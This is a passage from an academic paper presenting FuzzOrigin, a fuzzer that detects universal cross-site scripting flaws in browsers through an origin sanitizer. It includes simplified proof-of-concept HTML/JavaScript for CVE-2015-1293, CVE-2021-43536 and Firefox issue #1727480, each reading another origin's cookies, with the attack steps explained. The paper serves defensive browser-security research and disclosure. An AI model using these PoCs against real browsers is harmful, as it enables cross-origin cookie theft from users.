which would execute the code in Figure 2b.
• 4 When Firefox executes the JavaScript embedded in the

data URL, the origin is null. As a result, the browser
reloads the current page (line 3 in Figure 2b).
The problem occurs at 4 , in which the origin should still

be null after reloading. However, the data URL page is
incorrectly updated to the page’s origin before the initial redi-
rection (i.e., http://example.com). Thus, when the script is
executed again after reloading, the attacker’s script would
be executed on behalf of the target’s origin, allowing the at-
tacker’s code to access the target’s cookie values illegally (line
8 in Figure 2b). Firefox patched this UXSS vulnerability to
update to the correct null origin when reloading data URL
pages.

3.2 Incorrect Origin for Unloaded Document

Origin of Unloaded Document. Upon handling various
navigation requests, a browser keeps unloading old docu-
ments and loading new documents. As such, the origin of old
and new documents should accordingly be updated—i.e., the
old (and new) document should have the origin of where the
old (and new) document is fetched. From the DOM tree’s
perspective, such loading and unloading would keep updat-
ing references (i.e., updating edges), which may result in a
dangling sub-tree. The origin of a dangling sub-tree should
be invalidated and no longer updated.
CVE-2015-1293 in Chrome. The vulnerability CVE-2015-
1293 [8] occurs as Chrome references an incorrect origin for
an unloaded frame document. Due to this vulnerability, if
a victim user visits the attacker’s page with the target site
embedded in an iframe, the attacker’s script can be executed
on behalf of the target’s origin (Figure 3a).
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1 <iframe></iframe>
2 <script>
3 var i = document.querySelector(’iframe’);
4 var f = frames[0].Function;
5 i.onload = function() {
6 // Alerting the cookie of http://example.com
7 f("location.replace(’javascript:alert(document.cookie)’)")();
8 }
9 i.src = ’http://example.com’;

10 </script>

(b) PoC HTML
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Figure 3: A UXSS vulnerability in Chrome due to incorrect origins for unloaded documents (CVE-2015-1293).

To demonstrate, an example of the attacker’s HTML and
how the DOM tree is updated is shown in Figure 3b and
Figure 3c, respectively.

• 1 Upon receiving the attacker’s HTML, the browser cre-
ates the root document and an empty document as a child
of the iframe element. The origin of the root document is
http://attacker.com, and the child document inherits the
origin of the root according to the HTML standard [64].

• 2 The script tag is executed, which registers a load event
handler (line 3 to 8). This event handler is appended to the
iframe.

• 3 The script execution continues (line 9), which changes
the source of the iframe to http://example.com (line 10).
As a result, the iframe’s document is replaced with the
new document fetched from http://example.com, whose
origin is http://example.com. The incorrect origin update
happens here. For the old document to be unloaded (which
is not really unloaded but left being dangled), Chrome
should not have updated its origin. However, it incorrectly
updated to the new origin, http://example.com.

• 4 When the new document finishes loading, it fires the
load event and invokes the event handler. The handler uses
the Function constructor of the old document to execute
the script in the context of the old document. The script
changes the location of the iframe to a JavaScript URL,
which is equivalent to executing the script in the iframe’s
document.

Normally, this should have been blocked per the same-
origin policy—i.e., the context of the old document, whose ori-
gin is http://attacker.com, cannot access the new iframe’s
document, whose origin is http://example.com. However,
due to the incorrect origin update to the old document, the

payload (i.e., ’alert(document.cookie)’) was executed in
the target’s context, thereby reading the target’s cookies.

4 Design

Now we present the design of the FUZZORIGIN. First,
we introduce the overall design and workflow of
FUZZORIGIN (§4.1). Next, we present the origin sanitizer,
which is designed to detect UXSS vulnerabilities (§4.2). As
noted before, UXSS detection is challenging because it is a
semantic vulnerability, which requires interactive or naviga-
tion semantics among cross-origin pages. The origin sani-
tizer addresses such a challenge by keeping track of origin
semantics as the DOM tree is updated. Then it checks if
the origin semantics are correctly updated when executing
the script. Lastly, we describe how FUZZORIGIN generates
HTML/JavaScript inputs to prioritize origin-update opera-
tions, thereby effectively finding UXSS vulnerabilities (§4.3).

4.1 Overview
The overall design and workflow of FUZZORIGIN are illus-
trated in Figure 4. FUZZORIGIN generates random HTML
files (embedding JavaScript), where the generation algorithm
is aware of the HTML/JavaScript grammar [2, 66] (marked
1 ). When generating, FUZZORIGIN performs the follow-
ing two unique tasks: (i) FUZZORIGIN instruments addi-
tional check code to detect UXSS, which we call origin sani-
tizer (§4.2); and (ii) FUZZORIGIN prioritizes origin-update
operations so as to increase the chance to trigger UXSS (§4.3).
Then generated HTML files are deployed to a set of preconfig-
ured servers, in which each HTML is intended to navigate to
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Figure 4: Overall design and workflow of FUZZORIGIN.

other HTMLs ( 2 ). Next, FUZZORIGIN runs a web browser
with one of the randomly picked server’s URL ( 3 ). As the
browser loads the HTML, FUZZORIGIN’s origin sanitizer
(which was instrumented before) constantly checks if UXSS
has occurred ( 4 ). If the UXSS is detected by the origin san-
itizer, then FUZZORIGIN reports such an HTML case as a
UXSS vulnerability.

4.2 Detecting UXSS with Origin Sanitizer
UXSS is a semantic vulnerability, which occurs if the browser
incorrectly updates the origin in document when updating the
DOM tree in response to various events. In order to detect
the UXSS vulnerability, we first clearly define the primitive
security property for UXSS, origin violation as follows.

Definition: Origin violation. The origin when executing
a script block (which we denote as originExec) should be
the same as the origin initially assigned for the script block
when fetching the HTML document (which we denote
as originFetch). We state that the script execution raises
origin violation if originExec and originFetch are different.

Interpreting the previous UXSS vulnerabilities (described
in §3.1 and §3.2) with the notion of the origin violation,
originFetch is represented with the background color of
script blocks (Figure 2c and Figure 3c). originExec fol-
lows the origin of the document, the first parent document
of the to-be-executed script block. As such, both pre-
vious UXSS vulnerabilities raise the origin violation as
originFetch (i.e., http://www.attacker.com) and originExec
(i.e., http://example.com) are different, allowing attacker’s
script to be executed on behalf of the target’s origin.

Given this definition, the requirements for UXSS detection
would reduce down to the following three tasks: 1) how to
keep track of originFetch until the point of script execution; 2)
how to retrieve originExec when executing the script; and 3)
how to faithfully check the differences between originFetch
and originExec at all script execution points. In the following,
we describe how FUZZORIGIN handles each task in turn.
Tracking originFetch with Static Tagging. When the
browser fetches the HTML document, originFetch is deter-
mined and stored as a property in document. The goal here
is then to keep track of originFetch until the point of script
execution. Note that the tracking of originFetch is quite a

<html>
  <body onload=on_load()>
    <iframe src=""></iframe>
    <script>

      function on_load() {

        console.log(document.cookie)
      }
      document.querySelector("iframe").src =
        "http://subframe.com"
    </script>
  </body>
</html>

“entry point”

“entry point”

var _origin_fetch_ = 'http://example.com' ;
var _origin_exec_ = origin;
if (check_origin_violation(_origin_fetch_,
                           _origin_exec_)) {
  report_origin_violation();
}

Figure 5: An example of Origin Sanitizer’s instrumentation, insert-
ing the check code to global and functional entry points.

challenging task—e.g., the browsers still suffer from UXSS
vulnerabilities due to this challenge.

The core idea to trace originFetch is to statically tag
originFetch within the script, which is not updated over the
entire life-cycle of rendering. In particular, FUZZORIGIN
first determines originFetch for each HTML document to be
served to the browser. Because FUZZORIGIN controls the
server URL along with its port to serve the HTML document,
FUZZORIGIN can always determine originFetch for each gen-
erated HTML. Then FUZZORIGIN tags originFetch inside
scripts, which declares a new variable having the originFetch
string as value. This declaration is performed for every point
that the origin should be checked, which will be explained
later in this section.

1 var _origin_fetch_ = ’http://example.com’;

Therefore, although FUZZORIGIN does not explicitly trace
the originFetch, this static origin tagging method allows
FUZZORIGIN to obtain a correct originFetch depending on
the JavaScript execution context.
Retrieving originExec. It is quite simple to retrieve
originExec, which can be done by reading the origin prop-
erty in JavaScript. This is because the browser implements
the interface of the origin property so as to allow the script
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code to check its origin of the execution at runtime. Note that
this origin property is supported by most of modern web
browsers (including Chrome, Firefox, Edge, and Safari) as it
is dictated in the HTML standard [41].
Checking Origin Violation. Given the capability of ob-
taining originFetch and originExec, now we describe how
FUZZORIGIN checks the origin violation. FUZZORIGIN
checks the origin violation for all possible entry points of
script code execution. As described in §2.2, the browser ren-
derer executes the script in response to browser events, so
there can be multiple execution entry points within <script>.
These execution entry points include (i) a global entry point
(which is executed right after parsing the script tag), (ii)
functional entry points (i.e., the renderer hands over the ex-
ecution to a certain function), or (iii) dynamic entry points
evaluating string code (i.e., eval and Function in Figure 3b).

For all possible entry points, FUZZORIGIN instruments
the code to check the violation (illustrated in Figure 5).
FUZZORIGIN first obtains originFetch, which is statically
tagged before. Then it obtains originExec through access-
ing the origin property. Then check_origin_violation()
performs the origin violation check. It returns true if the
originFetch and originExec are different, implicating that
FUZZORIGIN detected UXSS. It returns false otherwise. One
exception is matching the null origin (i.e., an opaque origin).
Specifically, if originExec is null, FUZZORIGIN returns false
even if two origins are different. This is because the null
origin can be created during navigation (e.g., loading a data
URL) and it has no capability to access pages other than pages
with the null origin.

If the violation is detected, FUZZORIGIN reports the vi-
olation. The report includes the point where the origin vi-
olation is raised as well as the stack trace of the violation.
FUZZORIGIN also includes all the generated HTML files and
server setups, which allows users of FUZZORIGIN to repro-
duce a discovered UXSS vulnerability if needed.

It is worth noting that while the instrumentation for global
and functional entry points seem straight-forward, one for
dynamic entry points may seem unclear. However, since
FUZZORIGIN generates HTML with its complete abstract
syntax tree, FUZZORIGIN can always locate the dynamic
entry points. Once located, FUZZORIGIN prepends the serial-
ized string of the origin-violation checking code right before
the original string to be evaluated.

4.3 Prioritizing Origin-Update Operations
We observed that UXSS vulnerabilities occur due to incor-
rect origin updates in the DOM tree (§3). Based on this ob-
servation, FUZZORIGIN attempts to prioritize origin-update
relevant operations when generating HTML inputs. The idea
behind prioritizing origin-update operations is in performing
more frequent navigation operations while handling associ-
ated events. Revisiting previous UXSS vulnerabilities in the

case study (§3), origin updates take place while perform-
ing cross-origin navigations such as loading, redirecting, or
reloading. Then the origin violation occurs when executing
the script, which is triggered in response to events dispatched
by the navigation operations.

To this end, the HTML generation of FUZZORIGIN is de-
signed to meet the following two goals: i) raising cross-origin
navigation; and ii) chained navigation with event handlers.
Next, we describe how FUZZORIGIN meets each goal in turn.
Raising Cross-Origin Navigation. A browser updates the
origin as it navigates to a different, cross-origin web page.
Thus, in order to test as many navigation actions as possible in
the browser, the HTML generation of FUZZORIGIN considers
the following two things: 1) use various navigation APIs; and
2) specify cross-origin navigation targets.

First, FUZZORIGIN generates HTML in consideration of
a complete list of navigation-relevant APIs (i.e., APInav). Ta-
ble 1 shows the list of navigation APIs, which can be cate-
gorized into the APIs with HTML attributes and ones with-
out HTML attributes. Navigation APIs using the HTML
attributes (i.e., href of the <a> tag, action of the form tag,
and src of the iframe tag) specify the target URL to be nav-
igated once triggered. As the navigation trigger for HTML
attributes may vary (i.e., <href> requires a click action, and
form requires a submit action), FUZZORIGIN accordingly
generates associated action-triggers with the JavaScript code.
It is worth noting that these HTML attributes can be statically
generated (i.e., embedding HTML tags) or dynamically added
(i.e., inserting an element with the script execution), and thus
FUZZORIGIN randomly alternates static and dynamic gener-
ation cases.

Navigation APIs without HTML attributes can be invoked
through JavaScript, which includes history (i.e., moving for-
ward, backward, or replacing the history state), location (i.e.,
replacing or loading the current location), or opening the
window.

Second, when invoking navigation APIs, FUZZORIGIN
specifies various cross-origin navigation targets. It is worth
noting that the following three navigation APIs do not take
the target URL to be navigated, as it does not need to. For in-
stance, history.forward and history.backward navigate to
forward and backward, respectively, and location.reload()
reloads the current page. If the navigation APIs take the
target URL, FUZZORIGIN randomly selects a URL from a
prepared pool of URLs. Such a URL pool is initialized with a
preconfigured set of multiple web servers, where each server
again includes multiple web pages. As a result, this pool
setup allows FUZZORIGIN to test cross-origin navigation of
browsers.
Chained Navigation with Event Handlers. Once naviga-
tion APIs are invoked, the navigation actions are performed
by the browser, which in turn fires navigation events. In par-
ticular, the browser fires a specific set of events associated
with each navigation API (listed in Table 1).
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Navigation APIs (APInav) Type Generation Target URL Triggering Action Dispatched Events (Eventnav)

a.href=URL Attribute HTML/JavaScript O Click beforeunload, unload, DOMContentLoaded, load
form.action=URL Attribute HTML/JavaScript O Submit beforeunload, unload, DOMContentLoaded, load
iframe.src=URL Attribute HTML/JavaScript O - DOMContentLoaded, load

history.forward() Method JavaScript X - beforeunload, unload, DOMContentLoaded, load
history.backward() Method JavaScript X - beforeunload, unload, DOMContentLoaded, load
history.replaceState(state, title, URL) Method JavaScript O - beforeunload, unload, DOMContentLoaded, load
location.replace(URL) Method JavaScript O - beforeunload, unload, DOMContentLoaded, load
location.reload() Method JavaScript X - beforeunload, unload, DOMContentLoaded, load
window.open(URL) Method JavaScript O - beforeunload, unload, DOMContentLoaded, load

Table 1: A list of navigation APIs (i.e., APInav). The column ‘Generation‘ represents if APInav can be used as an HTML tag or invoked using
JavaScript. The column on ‘Target URL‘ shows if the APInav takes the target URL parameter or not. The column on ‘Triggering Action‘
denotes an extra action required to trigger a navigation behavior of APInav. The column on ‘Firing Event‘ shows a list of events fired by the
corresponding APInav. Note the beforeunload and unload event of window.open(URL) is dispatched when an existing window is reused.

As such, FUZZORIGIN randomly registers multiple event
handlers associated with navigation APIs. The events
beforeunload and unload are dispatched before and after
unloading the page. The event load and DOMContentLoaded
are dispatched when loading is completed. FUZZORIGIN de-
fines these four events as Eventnav and uses those to handle
navigation events.

Within each event handler, FUZZORIGIN then randomly
invokes another navigation APIs so as to chain the navigation
behaviors. This chaining makes the browser keep navigating
through cross-origin web pages under various circumstances,
further extending the testing coverage towards browser’s ori-
gin update logic.

It is worth noting that always invoking APInav and regis-
tering Eventnav would not lead to UXSS conditions. This is
because the browser may not perform meaningful operations
only with these APIs and events. Therefore, FUZZORIGIN
provides WEIGHTED_RAND (Algorithm 2) as a configuration pa-
rameter, balancing the API invocation (i.e., between APInav
and non-APInav) as well as the event registration (i.e., between
Eventnav and non-Eventnav). Specifically, if WEIGHTED_RAND
is zero, all possible APIs (including APInav) and all possible
events (including Eventnav) will be invoked and registered, re-
spectively. In this configuration setup, FUZZORIGIN does not
prioritize the chained-navigation. The number of all possible
APIs can vary depending on the number of DOM instances/pa-
rameters/methods, but it is mostly over 600 APIs. The number
of all possible events is 89. If WEIGHTED_RAND is one, on the
contrary, only APInav and Eventnav will be invoked and regis-
tered, respectively. In this configuration, FUZZORIGIN maxi-
mizes the prioritization using nine APInav and four Eventnav.

To generate HTML, FUZZORIGIN focuses on
new function, new eventhandler and web APIs. We
present the detailed algorithm of HTML generation in
Appendix A for reference.

5 Implementation

We implemented FUZZORIGIN, which is able to test
most modern web browsers, Chrome, Firefox, Safari,
and Edge. In terms of the implementation complex-
ity, FUZZORIGIN is implemented in about 9k lines of
Python code. (3.5k LoCs are HTML and Javascript gen-
eration, and 2.5k LoCs are for browser testing frame-
works.) FUZZORIGIN is open-source and available at
https://github.com/compsec-snu/fuzzorigin.
Origin Sanitizer and HTML Generator. To generate
HTML and CSS, we used Domato [12] which is a state-of-the-
art generation-based DOM fuzzer. For JavaScript, we imple-
mented our own JavaScript generator for FUZZORIGIN simi-
lar to Fuzzil [14]. In order to generate syntactically and se-
mantically correct JavaScript, we defined JavaScript grammar
(e.g., for, if, function statement) and DOM API (e.g., docu-
ment.createElement()) as Python classes. However, it is an
open and challenging problem to generate HTML/JavaScript
covering entire HTML/JavaScript grammars, and we will dis-
cuss it in §7. The origin sanitizer of FUZZORIGIN is also
implemented in Python within the JavaScript generator.
Browser Testing Framework. In order to perform auto-
mated browser testing, we used Python selenium library and
WebDriver. By using the WebDriver, FUZZORIGIN can check
the violation report of the origin sanitizer without browser
modification. The testing servers are implemented using
the Python flask library, and are created and managed with
Docker to handle a large number of servers.

6 Evaluation

This section attempts to evaluate FUZZORIGIN with the fol-
lowing focuses:
• Performance of the origin sanitizer to detect UXSS, in

terms of detection accuracy overhead (§6.1)
• Effectiveness of chained-navigation with event handling to

prioritize origin update operations (§6.2)
• New vulnerabilities discovered by FUZZORIGIN. (§6.3)
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Experimental Setup. We ran FUZZORIGIN on Intel Xeon
Silver 4214R (24 cores) with 512 GB RAM. We prepared five
web servers (i.e., five origins) and 10 HTML files for each
server, totaling 50 HTMLs for a fuzzing iteration.

In order to comprehensively evaluate FUZZORIGIN’s effec-
tiveness, we compared FUZZORIGIN with Domato [12], and
Freedom [67], which are state-of-the-art DOM fuzzers. Since
Domato and Freedom cannot detect UXSS and thus cannot
keep track of origin changes, we incorporated FUZZORIGIN’s
origin sanitizer to those for fair comparison.

6.1 Performance of Origin Sanitizer

UXSS Detection Accuracy. FUZZORIGIN uses tagged
origin (i.e., originFetch) as an oracle to compare with the
originExec. Thus, there are no false positive cases (i.e., origin
sanitizer detects an origin violation but it was not a UXSS vul-
nerability), unless the tagged origin is incorrectly determined.
As the originFetch can always be determined when generating
the HTML file, we argue that FUZZORIGIN’s origin sanitizer
is free from false positives. This argument can be indirectly
supported by our evaluation experiences over six months of
running FUZZORIGIN, because we were not able to find any
origin violation report other than the four cases we reported
and confirmed. All the reported four vulnerabilities were
confirmed and we could not find any false-positive cases.
Runtime Detection Overhead. In order to analyze the
performance overhead of origin sanitizer, we measured the
execution time and the invocation number of the origin com-
parisons per each fuzzing iteration. The average execution
time per one origin comparison was 0.0098 ms, and a single
fuzzing iteration has invoked 219.58 origin comparisons on
average. Consequently, origin sanitizer uses 2.16 ms for the
origin comparisons in each fuzzing iteration, which is 0.11%
of the total execution time (i.e., 2.00 s). Considering that
the network latency for fetching the HTML file is usually
around 100 ms, the 2.16 ms overhead per a fuzzing iteration
is reasonable.

6.2 Effectiveness of Chained-Navigation
FUZZORIGIN created HTML in the direction of using navi-
gation and event handler many times to find UXSS vulnera-
bilities. In this respect, we analyze whether the navigation
and event handler calls were frequently triggered as intended.
And we analyze originExec updating count in the browser to
find which of the navigation or event is more important in
influencing the origin-update.

6.2.1 Navigation and Event Handler

Navigation. We measured the number of navigations using
how many requests were received by the servers. The empir-
ical distribution of navigation counts is presented as a box
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Figure 6: The number of navigation completion and unique event
handling for a single fuzzing iteration by each scheme. In both cases,
FUZZORIGIN achieved the highest number.
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Figure 7: The number of origin updates per each fuzzing run, and
the scatter map showing the impacts of navigation and event handling
behaviors to origin changes.

plot in Figure 6a for FUZZORIGIN, Freedom, and Domato.
FUZZORIGIN achieves the highest median in comparison to
Freedom and Domato.
Event Handler. We measured the number of event handlers
directly. Figure 6b describes the number of unique calls to the
event handler. Compared to Freedom, FUZZORIGIN made
1.2 times more unique event handler calls in Chrome and
2.2 times more in Firefox. Freedom and Domino use a fixed
number of event handlers and execute that only once. On the
other hand, FUZZORIGIN not only executes all event handlers
that are called, but also has a higher number of unique event
handlers than the other two schemes.

6.2.2 Origin-Update

Execution Origin-Update. We measured origin-update by
originExec to evaluate FUZZORIGIN. Figure 7a is the result
of originExec changing. FUZZORIGIN recorded the largest
number of origin-update. The results are almost similar to
those of navigation, but the difference is significantly reduced.
However, this value is still the largest value and shows that
the originExec is sufficiently changed through navigation and
event handler as originally intended by FUZZORIGIN.
Correlation with Navigation & Event Handler. Figure 7b
shows the overall data patterns. The X-axis represents the
number of triggered navigations and the Y-axis represents the
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Variable Firefox Chrome
(Intercept) -1.800* (0.479) -0.502 (0.394)
Navigation 1.338* (0.029) 1.329* (0.036)

Event Handler 0.025* (0.002) 0.020* (0.002)
R-squared 0.733 0.671

Table 2: Result of Poisson regression. R2 represents that overall
regression was statistically significant. Navigation and event handler
are significant predictors in both Firefox and Chrome. (Standard
errors are reported in parentheses. * indicates significance at the
99% level.)
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Figure 8: An elapsed time in average to detect seven previously
known CVEs while varying WEIGHTED_RAND. When WEIGHTED_RAND
is higher than 0.6, no CVEs were found within 24 hours of running.

number of invoked unique event handlers. And the number of
origin-updates is shown as color. It can be seen that the color
of the point gets darker as the distance from the x-axis and
y-axis increases.

We analyze correlation more deeply with Poisson regres-
sion to which of them is more important between navigation
and event handler. Table 2 is the result of the fitted regression
model. R2 was 0.733 and 0.671 which indicates the overall
regression was statistically significant. The event handler is
a statistically significant predictor (with coefficients 0.025
and 0.020) in both Firefox and Chrome Navigation was also
reported to be significant (with coefficients 1.338 and 1.329)
in both browsers.

In summary, to increase origin-update, both navigation and
event handlers were analyzed to be significant. The design of
FUZZORIGIN that generates HTML by combining navigation
and event handler is an effective strategy to make many origin
changes.

6.2.3 Detecting Previously Known UXSS

In this experiment, we check if FUZZORIGIN is able to find
seven previously known UXSS vulnerabilities to show the
effectiveness of chained-navigation. These include CVE-
2016-1667, CVE-2016-1697, CVE-2016-1711, CVE-2016-
5204, CVE-2016-5207, CVE-2016-5208, and CVE-2017-
5008, and all of these CVEs can be reproduced in a single
Chrome binary (i.e., Chrome 52.0.2715). Since it takes a

very long time for FUZZORIGIN to randomly generate the
exploitation code, we conducted this experiment by turning
FUZZORIGIN into a mutation-based fuzzer with following
two rules: i) an initial HTML template per known CVE is
provided to FUZZORIGIN, where the template is the known
PoC HTML where its JavaScript APIs have been wiped out,
and ii) given the template, FUZZORIGIN keeps replacing
wiped out entries with APIs according to WEIGHTED_RAND.

Figure 8 shows an elapsed time in average to find seven
UXSS cases while varying weight value. FUZZORIGIN took
the shorted time when WEIGHTED_RAND is 0.2 (i.e., 20%).
Compared to the case that origin-update prioritization is not
used at all and all the APIs were randomly selected (i.e.,
WEIGHTED_RAND is zero), FUZZORIGIN was 3 hours and 45
minutes faster when WEIGHTED_RAND is 0.2. On the contrary,
compared to the case that FUZZORIGIN always uses either
APInav and Eventnav (i.e., WEIGHTED_RAND is 1), FUZZORIGIN
failed to find any CVEs for the given 24 hours. This is be-
cause if FUZZORIGIN generates too many APInav, navigation
operations are performed even before any meaningful API se-
quences are constructed. To summarize, these results suggest
that chained-navigation indeed helps FUZZORIGIN to find
UXSS vulnerabilities if a right balance between origin-update
APIs and normal APIs were given. While finding an optimal
balance would also be important for FUZZORIGIN, we leave
this as a future work.

6.3 New Vulnerabilities Discovered by
FUZZORIGIN

We ran FUZZORIGIN about six months to test and find UXSS
vulnerabilities. During the evaluation, FUZZORIGIN found
four new vulnerabilities in total (Figure 9). FUZZORIGIN
found two vulnerabilities that could run UXSS by changing
the port in Chrome (i.e., Issue #1280083)4 5 and Firefox (i.e.,
Issue #1741327). Both vulnerabilities have different PoCs,
but we suspect the root causes are in document.domain. More-
over, FUZZORIGIN found two vulnerabilities in Firefox, one
of which is classified as a high-impact security vulnerabil-
ity (i.e., CVE-2021-43536). Firefox has patched it and issued
a security advisory. Another one (i.e., Issue #1727480) is
not patched yet due to low reproducibility. We note that this
vulnerability was triggered due to FUZZORIGIN’s chained-
navigation fuzzing.
Case Study: CVE-2021-43536. This vulnerability occurs
when the document loader fails to initialize due to an er-
ror (e.g., a possible stack overflow in the case of our PoC).

4 Chromium-based browsers such as Edge are also vulnerable to this
vulnerability.

5After being confirmed, a Chromium developer commented that the
reported Issue #1280083 is not UXSS because it requires a specific secu-
rity relaxation. However, we think this still is UXSS as such relaxation is
quite common in practice–Google reported that 13% of web sites have such
relaxation [52].
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Browser Version Bug ID Description Severity Status

Chrome 96.0.4664 Issue #1280083 document.domain used in parent and child causes the origin (port) change. Low Confirmed

Firefox
94.0b2 Issue #1741327 document.domain used in parent and child, causes script execution even if src of child window to the parent’s origin. Serious Confirmed

94.0b9 Issue #1727480 History manipulation causes navigation to other pages on nsDocShell. Serious Confirmed
CVE-2021-43536 Under certain circumstances, asynchronous functions could have caused navigation to fail but expose the target URL. High Pached

Figure 9: A list of vulnerabilities found by FUZZORIGIN.

Attacker
Server

Target
Server

http://attacker.com

Load

Load3

1

<script>
function foo(){}
location.replace()
foo()

Run
script

2

(a) Attack flow
1 <script>
2 function foo () {
3 console.log(document.cookie)
4 foo()
5 }
6 location.replace("http://example.com")
7 foo()
8 </script>

(b) Snippet of PoC HTML

1

Function foo(){
  console.log()
  foo()}
location.replace
foo()

2

Function foo(){
  console.log()
  foo()}
location.replace
foo()

3

(c) Origin and DOM tree updates

Figure 10: New vulnerability: CVE-2021-43536.

Figure 10b is the snippet of a PoC code6. On the PoC code,
foo function (lines 2-5) calls itself (line 4). The location
is changed to http://example.com (line 6), and then foo
is called (line 7) while the page is loading. The function
foo is called recursively, causing the stack to fill up. If
this is just before the http://example.com, the document
loader fails to initialize and only the origin is updated to
http://example.com. Then, because the origin has changed,
the cookie of http://example.com is displayed (line 3).

This vulnerability could be only found with FUZZORIGIN,
as it dynamically creates and calls the function, whereas most
DOM fuzzers rarely generate functions that is used as event
handlers.

6 The actual PoC code is much more complicated, but we simplified it to
clearly show the root cause and attack flow.

Case Study: #1727480. We will briefly explain issue
#1727480 in the abstract since it has been confirmed but
has not been fixed yet. nsDocShell [35] is responsible
for loading and viewing of a document in Firefox. Is-
sue #1727480 is caused by origin confusion in nsDocShell
when navigating via history.back() and history.forward()
inside iframe. Figure 11b is the snippet of the PoC
code6. http://attacker.com has two iframes embedding
http://example.com (line 3) and creates a new iframe with
an unload event handler (lines 9-11). The function payload
(lines 5-8) will be triggered when the created iframe is un-
loaded. http://example.com has two APInav: history.back(),
and history.forward(). By some unknown cause, this caused
the parent window to navigate to http://example.com. How-
ever, the actual navigation did not take place, leaving the
onload event handler to be executed in the context of
http://example.com origin.
Case Study: #1280083 and #1741327. These two were
detected in Firefox and Chrome, respectively, but the pattern
of PoC is similar. According to the MDN, document.domain
is deprecated [37]. In particular, MDN warns that changing
the value of document.domain deletes port information, which
is dangerous from the security point of view. Since port
information disappears, resources can be accessed from cross-
origin with a different port. If certain conditions are met,
XSS can also be performed with cross-origin by changing
the port. For instance, in a shared hosting and cloud setup,
two different websites may share the same IP address but use
different ports.

7 Discussion and Limitation

UXSS Detection without the Origin Sanitizer. There can
be alternatives of the origin sanitizer to detect UXSS, but
these have its own limitations compared to the origin san-
itizer. One approach is to generate attacker’s HTML and
check whether the JavaScript is executed under the origin
of the victim. However, it cannot find a vulnerability that
requires to generate HTMLs of both attacker and victim, such
as #1280083 and #1741327 found by FUZZORIGIN. An-
other approach would be to have an attacker steal victim’s
resources (e.g., cookie). However, this approach would have
following two issues. First, there would be false positives if
the script is dynamically evaluated through eval(). In this
case, one cannot determine where the JavaScript is fetched
from and where it is executed. Second, the integrity of the
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iframe
3

1

<iframe>

<script>
 iframe.onunload=payload 2

<script>
 history.back()
 history.forward() 4

(a) Attack flow
1 <!-- http://attacker.com -->
2 <body>
3 <script>
4 function payload(){
5 // Alerting the cookie of http://example.com
6 alert(document.cookie)
7 }
8 i = document.createElement(’iframe’);
9 document.documentElement.appendChild(i);

10 i.onunload = payload;
11 </script>
12 <iframe src="http://example.com"></iframe>
13 </body>
14

15 <!-- http://example.com -->
16 <script>
17 history.back();
18 history.forward();
19 </script>

(b) Snippet of PoC HTML

IFrame Script

Document

i.onunload=…
Document

1 2 3Run Script

attacker.comOrigin

attacker.comOrigin

4 Run Script

IFrame

Document
example.comOrigin

IFrame

Document

Document
attacker.comOrigin

Script
history.back
history.forward

example.comOrigin

“navigation”

“navigation”“unload”

Event Handler

alert()

Event Handler

alert() !

(c) Origin and DOM tree updates

Figure 11: New vulnerability: #1727480.

victim’s token value has to be ensured, but as FUZZORIGIN
dynamically generates the JavaScript, such integrity can be
violated at runtime. One may be able to fix this issue by
restricting the JavaScript random generation process, which
will need a further study.
UXSS Mitigation with the Origin Sanitizer. While
FUZZORIGIN leveraged the origin sanitizer for UXSS
fuzzing, we think it has potential to be used to prevent UXSS
attacks in web browsers. Most browsers manage origins ac-
cording to the HTML specification [65], but it is extremely
challenging to implement all of those correctly. The ori-
gin related policies are already complex, involving various
corner-cases, and thus modern browsers still have critical
UXSS vulnerabilities. Employing FUZZORIGIN’s origin san-
itizer would help to address this issue, but that would still
entail additional research challenges which require further

studies—e.g., tracking all originFetch is difficult due to the
JavaScript dynamic interpretation (e.g., eval).
Non-deterministic Behaviors of the Browser. When ana-
lyzing the vulnerabilities FUZZORIGIN found, we observed
that the non-deterministic behavior of the browser is related to
UXSS. This is mainly due to the non-deterministic latency in
loading each page. Specifically, since FUZZORIGIN heavily
triggers navigation operations as well as associated events,
the order of page loading often becomes non-deterministic
as well. This rendered the vulnerability reproduction diffi-
cult, so it is challenging to perform the detailed vulnerability
analysis. For instance, the vulnerability #1727480 had quite
a low reproducibility due to this issue. We think this is an
interesting finding that the order of events or timings may
impact the overall behaviors of browsers, which would be
worth the further study, possibly from the fuzzing research
perspective.
Limitation of HTML Generation. As the HTML/-
JavaScript syntax is complex, the current implementation
of FUZZORIGIN to generate HTML is limited. We ob-
served that there are certain types of JavaScript code patterns
that the current FUZZORIGIN cannot generate–such as the
code pattern using the API of the JavaScript engine. Cur-
rently FuzzOrigin supports eval, setTimeout, new function,
new eventhandler, and XMLHTTPRequest in JavaScript. In ad-
dition, all the tags and attributes of HTML are supported,
and cross-origin loading is possible if they have an src at-
tribute. However, FUZZORIGIN cannot certain code patterns
using the API of the JavaScript engine, such as prototype,
promise, and arrow function. FUZZORIGIN cannot cover
other resources (e.g., browser extensions and bookmark fea-
tures), which can trigger UXSS vulnerabilities. Covering
all complex HTML/JavaScript code patterns and resources
would definitely help FUZZORIGIN’s UXSS detection capa-
bility, and we leave this task as a future work.

8 Related work

Universal Cross-site Scripting (UXSS). There have been
few studies related to the UXSS vulnerabilities. Barth et
al. [4] identified cross-origin JavaScript capability leaks and
proposed an algorithm which monitors the points-to rela-
tion of the JavaScript heap for detecting such vulnerabilities.
However, this approach cannot be applied to detect the UXSS
vulnerabilities caused by incorrect origin checks—the major
reason of UXSS vulnerabilities. Recently, Moroz et al. [31]
analyzed the bugs in the Chrome browser which lead to the
UXSS vulnerabilities. Compared to these, FUZZORIGIN is
the first, automatic framework to find the UXSS vulnerabili-
ties.

While not directly focusing on UXSS, there were several
previous works discussing security issues highly related to
UXSS. These include the same-origin policy (SOP) [54],
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cookies [5, 9–11, 57, 70], and cross-origin resource sharing
(CORS) [6, 29]. Schewenk et al. [54] developed a compre-
hensive testing framework to test SOP for DOM tree accesses.
Franken et al. [11] evaluated the access policies for third-party
cookies to prevent cross-site attacks or third-party tracking.
Drakonakis et al. [9] conducted the study of cookie-based
account hijacking in the wild. However, none of these tech-
niques was applicable to find the UXSS vulnerabilities.

Browser Fuzzing. FUZZORIGIN performs the HTML
fuzzing to find UXSS, a semantic vulnerability in browsers.
However, most previous works performing similar HTML
fuzzing and JavaScript engine fuzzing are designed to find
memory bugs. As such, these focused on testing DOM con-
struction and modification routines of browsers, which are
well-known memory bug sources.

Most existing DOM fuzzers [12, 32–34, 69] have taken the
generation-based fuzzing approach. Cross-fuzz [69] gener-
ates an extremely long-winding sequence of DOM operations
and creates circular references to stress the browser’s mem-
ory management. Domato [12] is a state-of-the-art fuzzer
